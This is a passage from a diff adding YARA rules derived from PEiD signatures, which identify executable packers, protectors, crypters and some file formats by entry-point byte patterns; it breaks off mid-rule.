+        description = "[AdFlt2]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 01 9C 0F A0 0F A8 60 FD 6A 00 0F A1 BE ?? ?? AD}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00041_Adlib_Sample_Audio_file_
+{
+    meta:
+        description = "[Adlib Sample Audio file]"
+        ep_only = "false"
+    strings:
+        $a = {47 4F 4C 44 20 53 41 4D 50 4C 45}
+    condition:
+        $a
+}
+
+rule PEiD_00042_Ady_s_Glue_1_10_
+{
+    meta:
+        description = "[Ady's Glue 1.10]"
+        ep_only = "true"
+    strings:
+        $a = {2E ?? ?? ?? ?? 0E 1F BF ?? ?? 33 DB 33 C0 AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00043_Ady_s_Glue_v0_10_
+{
+    meta:
+        description = "[Ady`s Glue v0.10]"
+        ep_only = "true"
+    strings:
+        $a = {2E 8C 06 ?? ?? 0E 07 33 C0 8E D8 BE ?? ?? BF ?? ?? FC B9 ?? ?? 56 F3 A5 1E 07 5F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00044_AHpack_0_1____FEUERRADER__h__
+{
+    meta:
+        description = "[AHpack 0.1 -> FEUERRADER (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 54 ?? ?? ?? B8 48 ?? ?? ?? FF 10 68 B3 ?? ?? ?? 50 B8 44 ?? ?? ?? FF 10 68 00 ?? ?? ?? 6A 40 FF D0 89 05 CA ?? ?? ?? 89 C7 BE 00 10 ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 B3 01 56 89 FE 29 C6 F3 A4 5E EB 8E 00 D2 75 05 8A 16 46 10 D2 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00045_AHPack_0_1____FEUERRADER_
+{
+    meta:
+        description = "[AHPack 0.1 -> FEUERRADER]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 54 ?? ?? 00 B8 48 ?? ?? 00 FF 10 68 B3 ?? ?? 00 50 B8 44 ?? ?? 00 FF 10 68 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00046_AHpack_0_1____FEUERRADER_
+{
+    meta:
+        description = "[AHpack 0.1 -> FEUERRADER]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 54 ?? ?? ?? B8 48 ?? ?? ?? FF 10 68 B3 ?? ?? ?? 50 B8 44 ?? ?? ?? FF 10 68 00 ?? ?? ?? 6A 40 FF D0 89 05 CA ?? ?? ?? 89 C7 BE 00 10 ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00047_AINEXE_v2_1_
+{
+    meta:
+        description = "[AINEXE v2.1]"
+        ep_only = "true"
+    strings:
+        $a = {A1 ?? ?? 2D ?? ?? 8E D0 BC ?? ?? 8C D8 36 A3 ?? ?? 05 ?? ?? 36 A3 ?? ?? 2E A1 ?? ?? 8A D4 B1 04 D2 EA FE C9}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00048_AINEXE_v2_30_
+{
+    meta:
+        description = "[AINEXE v2.30]"
+        ep_only = "true"
+    strings:
+        $a = {0E 07 B9 ?? ?? BE ?? ?? 33 FF FC F3 A4 A1 ?? ?? 2D ?? ?? 8E D0 BC ?? ?? 8C D8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00049_Alex_Protector_0_4_beta_1_by_Alex_
+{
+    meta:
+        description = "[Alex Protector 0.4 beta 1 by Alex]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 01 00 00 00 C7 83 C4 04 33 C9 E8 01 00 00 00 68 83 C4 04 E8 01 00 00 00 68 83 C4 04 B9 ?? 00 00 00 E8 01 00 00 00 68 83 C4 04 E8 00 00 00 00 E8 01 00 00 00 C7 83 C4 04 8B 2C 24 83 C4 04 E8 01 00 00 00 A9 83 C4 04 81 ED 3C 13 40 00 E8 01 00 00 00 68}
+    condition:
+        $a
+}
+rule PEiD_00050_Alex_Protector_1_0____Alex_
+{
+    meta:
+        description = "[Alex Protector 1.0 -> Alex]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00051_Alex_Protector_1_0_beta_2_by_Alex_
+{
+    meta:
+        description = "[Alex Protector 1.0 beta 2 by Alex]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00 EB 01 E9 8B 44 24 0C EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 83 80 B8 00 00 00 02 33 C0 EB 01 E9 C3 58 83 C4 04 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 50 64 FF 35 00 00 00 00 64 89 25}
+    condition:
+        $a
+}
+rule PEiD_00052_Alex_Protector_1_0_beta_2_by_Alex_
+{
+    meta:
+        description = "[Alex Protector 1.0 beta 2 by Alex]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00 EB 01 E9 8B 44 24 0C EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 83 80 B8 00 00 00 02 33 C0 EB 01 E9 C3 58 83 C4 04 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 EB 01 E9 FF FF 60 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 0F 31 8B D8 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 8B CA EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 0F 31 2B C3 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 1B D1 0F 31 03 C3 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 13 D1 0F 31 2B C3 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 EB 05 68 F0 0F C7 C8 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 1B D1 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 85}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00053_Alex_Protector_v0_4_beta_1_by_Alex_
+{
+    meta:
+        description = "[Alex Protector v0.4 beta 1 by Alex]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 00 00 00 C7 83 C4 04 33 C9 E8 01 00 00 00 68 83 C4 04 E8 01 00 00 00 68 83 C4 04 B9 ?? 00 00 00 E8 01 00 00 00 68 83 C4 04 E8 00 00 00 00 E8 01 00 00 00 C7 83 C4 04 8B 2C 24 83 C4 04 E8 01 00 00 00 A9 83 C4 04 81 ED 3C 13 40 00 E8 01 00 00 00 68 83 C4 04 E8 00 00 00 00 E8 00 00 00 00 49 E8 01 00 00 00 68 83 C4 04 85 C9 75 DF E8 B9 02 00 00 E8 01 00 00 00 C7 83 C4 04 8D 95 63 14 40 00 E8 01 00 00 00 C7 83 C4 04 90 90 90 E8 CA 01 00 00 01 02 03 04 05 68 90 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00054_Alex_Protector_v1_0____Alex_
+{
+    meta:
+        description = "[Alex Protector v1.0 -> Alex]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00 EB 01 E9 8B}
+    condition:
+        $a at pe.entry_point
+}
+/*
+rule PEiD_00055_Alias_PIX_Vivid_IMG_Graphics_format_
+{
+    meta:
+        description = "[Alias PIX/Vivid IMG Graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {?? ?? ?? ?? 00 00 ?? ?? 00 18 ?? ?? ?? ?? 01}
+    condition:
+        $a
+}
+*/
+rule PEiD_00056_Alloy_4_x____PGWare_LLC_
+{
+    meta:
+        description = "[Alloy 4.x -> PGWare LLC]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 6A 04 68 00 10 00 00 68 00 02 00 00 6A 00 FF 95 A8 33 40 00 0B C0 0F 84 F6 01 00 00 89 85 2E 33 40 00 83 BD E8 32 40 00 01 74 0D 83 BD E4 32 40 00 01 74 2A 8B F8 EB 3E 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00057_Alloy_4_x____PGWare_LLC_
+{
+    meta:
+        description = "[Alloy 4.x -> PGWare LLC]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 6A 04 68 00 10 00 00 68 00 02 00 00 6A 00 FF 95 A8 33 40 00 0B C0 0F 84 F6 01 00 00 89 85 2E 33 40 00 83 BD E8 32 40 00 01 74 0D 83 BD E4 32 40 00 01 74 2A 8B F8 EB 3E 68 D8 01 00 00 50 FF 95 CC 33 40 00 50 8D 85 28 33 40 00 50 FF B5 2E 33 40 00 FF 95 D0 33 40 00 58 83 C0 05 EB 0C 68 D8 01 00 00 50 FF 95 C0 33 40 00 8B BD 2E 33 40 00 03 F8 C6 07 5C 47 8D B5 00 33 40 00 AC 0A C0 74 03 AA EB F8 83 BD DC 32 40 00 01 74 7A 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 FF B5 2E 33 40 00 FF 95 B4 33 40 00 83 F8 FF 74 57 89 85 32 33 40 00 8D 85 56 33 40 00 8D 9D 5E 33 40 00 8D 8D 66 33 40 00 51 53 50 FF B5 32 33 40 00 FF 95 C4 33 40 00 FF B5 32 33 40 00 FF 95 B8 33 40 00 8B 85}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00058_Alloy_v1_x_2000_
+{
+    meta:
+        description = "[Alloy v1.x.2000]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 20 40 ?? 87 DD 6A 04 68 ?? 10 ?? ?? 68 ?? 02 ?? ?? 6A ?? FF 95 46 23 40 ?? 0B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00059_Aluwain_v8_09_
+{
+    meta:
+        description = "[Aluwain v8.09]"
+        ep_only = "true"
+    strings:
+        $a = {8B EC 1E E8 ?? ?? 9D 5E}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00060_Amiga_AIFF_8SFX_Audio_file_
+{
+    meta:
+        description = "[Amiga AIFF 8SFX Audio file]"
+        ep_only = "false"
+    strings:
+        $a = {46 4F 52 4D ?? ?? ?? ?? 38 53 56 58 56 48 44 52}
+    condition:
+        $a
+}
+
+rule PEiD_00061_Amiga_IFF_ILBM_Graphics_format_
+{
+    meta:
+        description = "[Amiga IFF/ILBM Graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {46 4F 52 4D ?? ?? ?? ?? 49 4C 42 4D 42 4D 48 44}
+    condition:
+        $a
+}
+
+rule PEiD_00062_ANDpakk2_0_06___by_Dmitry__AND__Andreev_
+{
+    meta:
+        description = "[ANDpakk2 0.06 - by Dmitry \"AND\" Andreev]"
+        ep_only = "true"
+    strings:
+        $a = {60 FC BE D4 00 40 00 BF 00 10 00 01 57 83 CD FF 33 C9 F9 EB 05 A4 02 DB 75 05 8A 1E 46 12 DB 72 F4 33 C0 40 02 DB 75 05 8A 1E 46 12 DB 13 C0 02 DB 75 05 8A 1E 46 12 DB 72 0E 48 02 DB 75 05 8A 1E 46 12 DB 13 C0 EB DC 83 E8 03 72 0F C1 E0 08 AC 83 F0 FF 74}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00063_ANDpakk2_0_06___by_Dmitry__quot_AND_quot__Andreev_
+{
+    meta:
+        description = "[ANDpakk2 0.06 - by Dmitry &quot;AND&quot; Andreev]"
+        ep_only = "true"
+    strings:
+        $a = {60 FC BE D4 00 40 00 BF 00 10 00 01 57 83 CD FF 33 C9 F9 EB 05 A4 02 DB 75 05 8A 1E 46 12 DB 72 F4 33 C0 40 02 DB 75 05 8A 1E 46 12 DB 13 C0 02 DB 75 05 8A 1E 46 12 DB 72 0E 48 02 DB 75 05 8A 1E 46 12 DB 13 C0 EB DC 83 E8 03 72 0F C1 E0 08 AC 83 F0 FF 74 4D D1 F8 8B E8 EB 09 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 13 C9 75 1A 41 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 73 EA 83 C1 02 81 FD 00 FB FF FF 83 D1 01 56 8D 34 2F F3 A4 5E E9 73 FF FF FF C3}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00064_ANDpakk2_0_18___by_Dmitry__quot_AND_quot__Andreev_
+{
+    meta:
+        description = "[ANDpakk2 0.18 - by Dmitry &quot;AND&quot; Andreev]"
+        ep_only = "true"
+    strings:
+        $a = {FC BE D4 00 40 00 BF 00 ?? ?? 00 57 83 CD FF 33 C9 F9 EB 05 A4 02 DB 75 05 8A 1E 46 12 DB 72 F4 33 C0 40 02 DB 75 05 8A 1E 46 12 DB 13 C0 02 DB 75 05 8A 1E 46 12 DB 72 0E 48 02 DB 75 05 8A 1E 46 12 DB 13 C0 EB DC 83 E8 03 72 0F C1 E0 08 AC 83 F0 FF 74 4D D1 F8 8B E8 EB 09 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 13 C9 75 1A 41 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 73 EA 83 C1 02 81 FD 00 FB FF FF 83 D1 01 56 8D 34 2F F3 A4 5E E9 73 FF FF FF C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00065_Anskya_Binder_v1_1____Anskya_
+{
+    meta:
+        description = "[Anskya Binder v1.1 -> Anskya]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? 00 BB F8 11 40 00 33 ED 83 EE 04 39 2E 74 11}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00066_Anskya_NTPacker_Generator____Anskya_
+{
+    meta:
+        description = "[Anskya NTPacker Generator -> Anskya]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 B8 88 1D 00 10 E8 C7 FA FF FF 6A 0A 68 20 1E 00 10 A1 14 31 00 10 50 E8 71 FB FF FF 8B D8 85 DB 74 2F 53 A1 14 31 00 10 50 E8 97 FB FF FF 85 C0 74 1F 53 A1 14 31 00 10 50 E8 5F FB FF FF 85 C0 74 0F 50 E8 5D FB FF FF 85 C0 74 05 E8 70}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00067_Anskya_NTPacker_Generator____Anskya_
+{
+    meta:
+        description = "[Anskya NTPacker Generator -> Anskya]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 B8 88 1D 00 10 E8 C7 FA FF FF 6A 0A 68 20 1E 00 10 A1 14 31 00 10 50 E8 71 FB FF FF 8B D8 85 DB 74 2F 53 A1 14 31 00 10 50 E8 97 FB FF FF 85 C0 74 1F 53 A1 14 31 00 10 50 E8 5F FB FF FF 85 C0 74 0F 50 E8 5D FB FF FF 85 C0 74 05 E8 70 FC FF FF 5B E8 F2 F6 FF FF 00 00 48 45 41 52 54}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00068_Anslym_Crypter_
+{
+    meta:
+        description = "[Anslym Crypter]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 B8 38 17 05 10 E8 5A 45 FB FF 33 C0 55 68 21 1C 05 10 64 FF 30 64 89 20 EB 08 FC FC FC FC FC FC 27 54 E8 85 4C FB FF 6A 00 E8 0E 47 FB FF 6A 0A E8 27 49 FB FF E8 EA 47 FB FF 6A 0A 68 30 1C 05 10 A1 60 56 05 10 50 E8 68 47 FB FF 8B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00069_Anslym_Crypter_
+{
+    meta:
+        description = "[Anslym Crypter]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 B8 38 17 05 10 E8 5A 45 FB FF 33 C0 55 68 21 1C 05 10 64 FF 30 64 89 20 EB 08 FC FC FC FC FC FC 27 54 E8 85 4C FB FF 6A 00 E8 0E 47 FB FF 6A 0A E8 27 49 FB FF E8 EA 47 FB FF 6A 0A 68 30 1C 05 10 A1 60 56 05 10 50 E8 68 47 FB FF 8B D8 85 DB 0F 84 B6 02 00 00 53 A1 60 56 05 10 50 E8 F2 48 FB FF 8B F0 85 F6 0F 84 A0 02 00 00 E8 F3}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00070_Anslym_FUD_Crypter___Sign_by_fly_
+{
+    meta:
+        description = "[Anslym FUD Crypter ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 B8 38 17 05 10 E8 5A 45 FB FF 33 C0 55 68 21 1C 05 10 64 FF 30 64 89 20 EB 08 FC FC FC FC FC FC 27 54 E8 85 4C FB FF 6A 00 E8 0E 47 FB FF 6A 0A E8 27 49 FB FF E8 EA 47 FB FF 6A 0A}
+    condition:
+        $a at pe.entry_point
+}
+/*
+rule PEiD_00071_Anti007____NsPacK_Private_
+{
+    meta:
+        description = "[Anti007 -> NsPacK Private]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 10 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+*/
+rule PEiD_00072_Anti007_V1_0_V2_X____NsPacK_Private_
+{
+    meta:
+        description = "[Anti007 V1.0-V2.X -> NsPacK Private]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 45 78 69 74}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00073_Anti007_V2_5_V2_6____NsPacK_Private_
+{
+    meta:
+        description = "[Anti007 V2.5-V2.6 -> NsPacK Private]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 53}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00074_Anti007_V2_6____LiuXingPing___Sign_by_fly_
+{
+    meta:
+        description = "[Anti007 V2.6 -> LiuXingPing ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 53 79 73 74 65 6D 44 69 72 65 63 74 6F 72 79 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 57 72 69 74 65 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00075_Anti007_V2_7_V3_5____NsPacK_Private_
+{
+    meta:
+        description = "[Anti007 V2.7-V3.5 -> NsPacK Private]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 54}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00076_Anticrack_Software_Protector_v1_09__ACProtect__
+{
+    meta:
+        description = "[Anticrack Software Protector v1.09 (ACProtect)]"
+        ep_only = "true"
+    strings:
+        $a = {60 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? 83 04 24 06 C3 ?? ?? ?? ?? ?? 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00077_AntiDote_1_0_Beta____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.0 Beta -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {E8 BB FF FF FF 84 C0 74 2F 68 04 01 00 00 68 C0 23 60 00 6A 00 FF 15 08 10 60 00 E8 40 FF FF FF 50 68 78 11 60 00 68 68 11 60 00 68 C0 23 60 00 E8 AB FD FF FF 83 C4 10 33 C0 C2 10 00 90 90 90 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08 33 D2 F7 F1 40 0F AF C1 5E C3 90 8B 44 24 04 53 55 56 8B 48 3C 57 03 C8 33 D2 8B 79 54 8B 71 38 8B C7 F7 F6 85 D2 74 0C 8B C7 33 D2 F7 F6 8B F8 47 0F AF FE 33 C0 33 DB 66 8B 41 14 8D 54 08 18 33 C0 66 8B 41 06 89 54 24 14 8D 68 FF 85 ED 7C 37 33 C0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00078_AntiDote_1_0_beta____Spy_Instructor_
+{
+    meta:
+        description = "[AntiDote 1.0 beta -> Spy Instructor]"
+        ep_only = "true"
+    strings:
+        $a = {E8 BB FF FF FF 84 C0 74 2F 68 04 01 00 00 68 C0 23 60 00 6A 00 FF 15 08 10 60 00 E8 40 FF FF FF 50 68 78 11 60 00 68 68 11 60 00 68 C0 23 60 00 E8 AB FD FF FF 83 C4 10 33 C0 C2 10 00 90 90 90 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00079_AntiDote_1_0_beta____Spy_Instructor_
+{
+    meta:
+        description = "[AntiDote 1.0 beta -> Spy Instructor]"
+        ep_only = "true"
+    strings:
+        $a = {E8 BB FF FF FF 84 C0 74 2F 68 04 01 00 00 68 C0 23 60 00 6A 00 FF 15 08 10 60 00 E8 40 FF FF FF 50 68 78 11 60 00 68 68 11 60 00 68 C0 23 60 00 E8 AB FD FF FF 83 C4 10 33 C0 C2 10 00 90 90 90 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08 33 D2 F7 F1 40 0F AF C1 5E C3 90 8B 44 24 04 53 55 56 8B 48 3C 57 03 C8 33 D2 8B 79 54 8B 71 38 8B C7 F7 F6 85 D2 74 0C 8B C7 33 D2 F7 F6 8B F8 47 0F AF FE 33 C0 33 DB 66 8B 41 14 8D 54 08 18 33 C0 66 8B 41 06 89 54 24 14 8D 68 FF 85 ED 7C 37 33 C0 8B 4C 24 14 8D 04 80 8B 4C C1 08 85 C9 74 1A 8B C1 33 D2 F7 F6 85 D2 75 04 03 F9 EB 0C 8B C1 33 D2 F7 F6 40 0F AF C6 03 F8 43 8B C3 25 FF FF 00 00 3B C5 7E CB 8B C7 5F 5E 5D 5B C3 90 90 90 90 90 90 90 90 90 90 90 90 55 8B EC 6A FF 68 50 22 60 00 64 A1 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00080_AntiDote_1_0_Demo___1_2____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.0 Demo / 1.2 -> SIS-Team]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 09 01 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 DB 01 47 65 74 56 65 72 73 69 6F 6E 45 78 41 00 73 01 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 00 7A 03 57 61 69 74 46 6F 72 53 69 6E 67 6C 65 4F 62 6A 65 63 74 00 BF 02 52 65 73 75 6D 65 54 68 72 65 61 64 00 00 29 03 53 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 94 03 57 72 69 74 65 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 00 6B 03 56 69 72 74 75 61 6C 41 6C 6C 6F 63 45 78 00 00 A6 02 52 65 61 64 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 CA 01 47 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 62 00 43 72 65 61 74 65 50 72 6F 63 65 73 73 41 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C}
+    condition:
+        $a
+}
+rule PEiD_00081_AntiDote_1_0_Demo____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.0.Demo -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 09 01 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 DB 01 47 65 74 56 65 72 73 69 6F 6E 45 78 41 00 73 01 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 00 7A 03 57 61 69 74 46 6F 72 53 69 6E 67 6C 65 4F 62 6A 65 63 74 00 BF 02 52}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00082_AntiDote_1_0_Demo____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.0.Demo -> SIS-Team]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 09 01 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 DB 01 47 65 74 56 65 72 73 69 6F 6E 45 78 41 00 73 01 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 00 7A 03 57 61 69 74 46 6F 72 53 69 6E 67 6C 65 4F 62 6A 65 63 74 00 BF 02 52 65 73 75 6D 65 54 68 72 65 61 64 00 00 29 03 53 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 94 03 57 72 69 74 65 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 00 6B 03 56 69 72 74 75 61 6C 41 6C 6C 6F 63 45 78 00 00 A6 02 52 65 61 64 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 CA 01 47 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 62 00 43 72 65 61 74 65 50 72 6F 63 65 73 73 41 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 DC 01 4D 65 73 73 61 67 65 42 6F 78 41 00 26 00 43 68 61 72 4C 6F 77 65 72 41 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 C5 02 73 74 72 73 74 72 00 00 91 02 6D 61 6C 6C 6F 63 00 00 5E 02 66 72 65 65 00 00 4C 02 66 63 6C 6F 73 65 00 00 DA 00 5F 66 69 6C 62 75 66 00 64 02 66 74 65 6C 6C 00 62 02 66 73 65 65 6B 00 57 02 66 6F 70 65 6E 00 49 00 5F 5F 43 78 78 46 72 61 6D 65 48 61 6E 64 6C 65 72 00 4D 53 56 43 52 54 2E 64 6C 6C 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00083_AntiDote_1_2_Beta__Demo_____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.2 Beta (Demo) -> SIS-Team]"
+        ep_only = "true"
+    strings:
